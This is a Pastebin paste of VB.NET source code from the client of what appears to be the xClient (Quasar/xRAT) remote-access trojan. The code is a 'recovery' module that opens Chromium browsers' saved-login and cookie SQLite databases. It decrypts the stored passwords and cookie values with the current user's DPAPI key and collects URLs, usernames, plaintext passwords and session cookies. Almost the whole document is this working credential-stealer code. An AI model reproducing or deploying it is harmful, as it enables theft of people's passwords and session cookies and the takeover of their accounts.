Advertisement
Guest User

Untitled

a guest
Apr 3rd, 2018
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.85 KB | None | 0 0
  1.  
  2. Imports System
  3. Imports System.Collections.Generic
  4. Imports System.IO
  5. Imports System.Security.Cryptography
  6. Imports System.Text
  7. Imports xClient.Core.Data
  8. Imports xClient.Core.Utilities
  9.  
  10. Namespace xClient.Core.Recovery.Utilities
  11.  
  12. Public Class ChromiumBase
  13.  
  14. Public Shared Function Passwords(ByVal datapath As String, ByVal browser As String) As List(Of RecoveredAccount)
  15. Dim data As List(Of RecoveredAccount) = New List(Of RecoveredAccount)()
  16. Dim SQLDatabase As SQLiteHandler = Nothing
  17. If Not File.Exists(datapath) Then Return data
  18. Try
  19. SQLDatabase = New SQLiteHandler(datapath)
  20. Catch __unusedException1__ As Exception
  21. Return data
  22. End Try
  23.  
  24. If Not SQLDatabase.ReadTable("logins") Then Return data
  25. Dim host As String
  26. Dim user As String
  27. Dim pass As String
  28. Dim totalEntries As Integer = SQLDatabase.GetRowCount()
  29. For i As Integer = 0 To totalEntries - 1
  30. Try
  31. host = SQLDatabase.GetValue(i, "origin_url")
  32. user = SQLDatabase.GetValue(i, "username_value")
  33. pass = Decrypt(SQLDatabase.GetValue(i, "password_value"))
  34. If Not String.IsNullOrEmpty(host) AndAlso Not String.IsNullOrEmpty(user) AndAlso pass IsNot Nothing Then
  35. data.Add(New RecoveredAccount With {.URL = host, .Username = user, .Password = pass, .Application = browser})
  36. End If
  37. Catch __unusedException1__ As Exception
  38. End Try
  39. Next
  40.  
  41. Return data
  42. End Function
  43.  
  44. Public Shared Function Cookies(ByVal dataPath As String, ByVal browser As String) As List(Of ChromiumCookie)
  45. Dim datapath As String = dataPath
  46. Dim data As List(Of ChromiumCookie) = New List(Of ChromiumCookie)()
  47. Dim SQLDatabase As SQLiteHandler = Nothing
  48. If Not File.Exists(datapath) Then Return data
  49. Try
  50. SQLDatabase = New SQLiteHandler(datapath)
  51. Catch __unusedException1__ As Exception
  52. Return data
  53. End Try
  54.  
  55. If Not SQLDatabase.ReadTable("cookies") Then Return data
  56. Dim host As String
  57. Dim name As String
  58. Dim value As String
  59. Dim path As String
  60. Dim expires As String
  61. Dim lastaccess As String
  62. Dim secure As Boolean
  63. Dim http As Boolean
  64. Dim expired As Boolean
  65. Dim persistent As Boolean
  66. Dim priority As Boolean
  67. Dim totalEntries As Integer = SQLDatabase.GetRowCount()
  68. For i As Integer = 0 To totalEntries - 1
  69. Try
  70. host = SQLDatabase.GetValue(i, "host_key")
  71. name = SQLDatabase.GetValue(i, "name")
  72. value = Decrypt(SQLDatabase.GetValue(i, "encrypted_value"))
  73. path = SQLDatabase.GetValue(i, "path")
  74. expires = SQLDatabase.GetValue(i, "expires_utc")
  75. lastaccess = SQLDatabase.GetValue(i, "last_access_utc")
  76. secure = SQLDatabase.GetValue(i, "secure") = "1"
  77. http = SQLDatabase.GetValue(i, "httponly") = "1"
  78. expired = SQLDatabase.GetValue(i, "has_expired") = "1"
  79. persistent = SQLDatabase.GetValue(i, "persistent") = "1"
  80. priority = SQLDatabase.GetValue(i, "priority") = "1"
  81. If Not String.IsNullOrEmpty(host) AndAlso Not String.IsNullOrEmpty(name) AndAlso Not String.IsNullOrEmpty(value) Then
  82. data.Add(New ChromiumCookie With {.HostKey = host, .Name = name, .Value = value, .Path = path, .ExpiresUTC = expires, .LastAccessUTC = lastaccess, .Secure = secure, .HttpOnly = http, .Expired = expired, .Persistent = persistent, .Priority = priority, .Browser = browser})
  83. End If
  84. Catch __unusedException1__ As Exception
  85. End Try
  86. Next
  87.  
  88. Return data
  89. End Function
  90.  
  91. Private Shared Function Decrypt(ByVal EncryptedData As String) As String
  92. If EncryptedData Is Nothing OrElse EncryptedData.Length = 0 Then
  93. Return Nothing
  94. End If
  95.  
  96. Dim decryptedData As Byte() = ProtectedData.Unprotect(System.Text.Encoding.[Default].GetBytes(EncryptedData), Nothing, DataProtectionScope.CurrentUser)
  97. Return Encoding.UTF8.GetString(decryptedData)
  98. End Function
  99.  
  100. Public Class ChromiumCookie
  101.  
  102. Public Property HostKey As String
  103.  
  104. Public Property Name As String
  105.  
  106. Public Property Value As String
  107.  
  108. Public Property Path As String
  109.  
  110. Public Property ExpiresUTC As String
  111.  
  112. Public Property LastAccessUTC As String
  113.  
  114. Public Property Secure As Boolean
  115.  
  116. Public Property HttpOnly As Boolean
  117.  
  118. Public Property Expired As Boolean
  119.  
  120. Public Property Persistent As Boolean
  121.  
  122. Public Property Priority As Boolean
  123.  
  124. Public Property Browser As String
  125.  
  126. Public Overrides Function ToString() As String
  127. Return String.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, HostKey, Name, Value, Path, Expired, HttpOnly, Secure)
  128. End Function
  129. End Class
  130. End Class
  131. End Namespace
  132.  
  133. '=======================================================
  134. 'Service provided by Telerik (www.telerik.com)
  135. 'Conversion powered by Refactoring Essentials.
  136. 'Twitter: @telerik
  137. 'Facebook: facebook.com/telerik
  138. '=======================================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement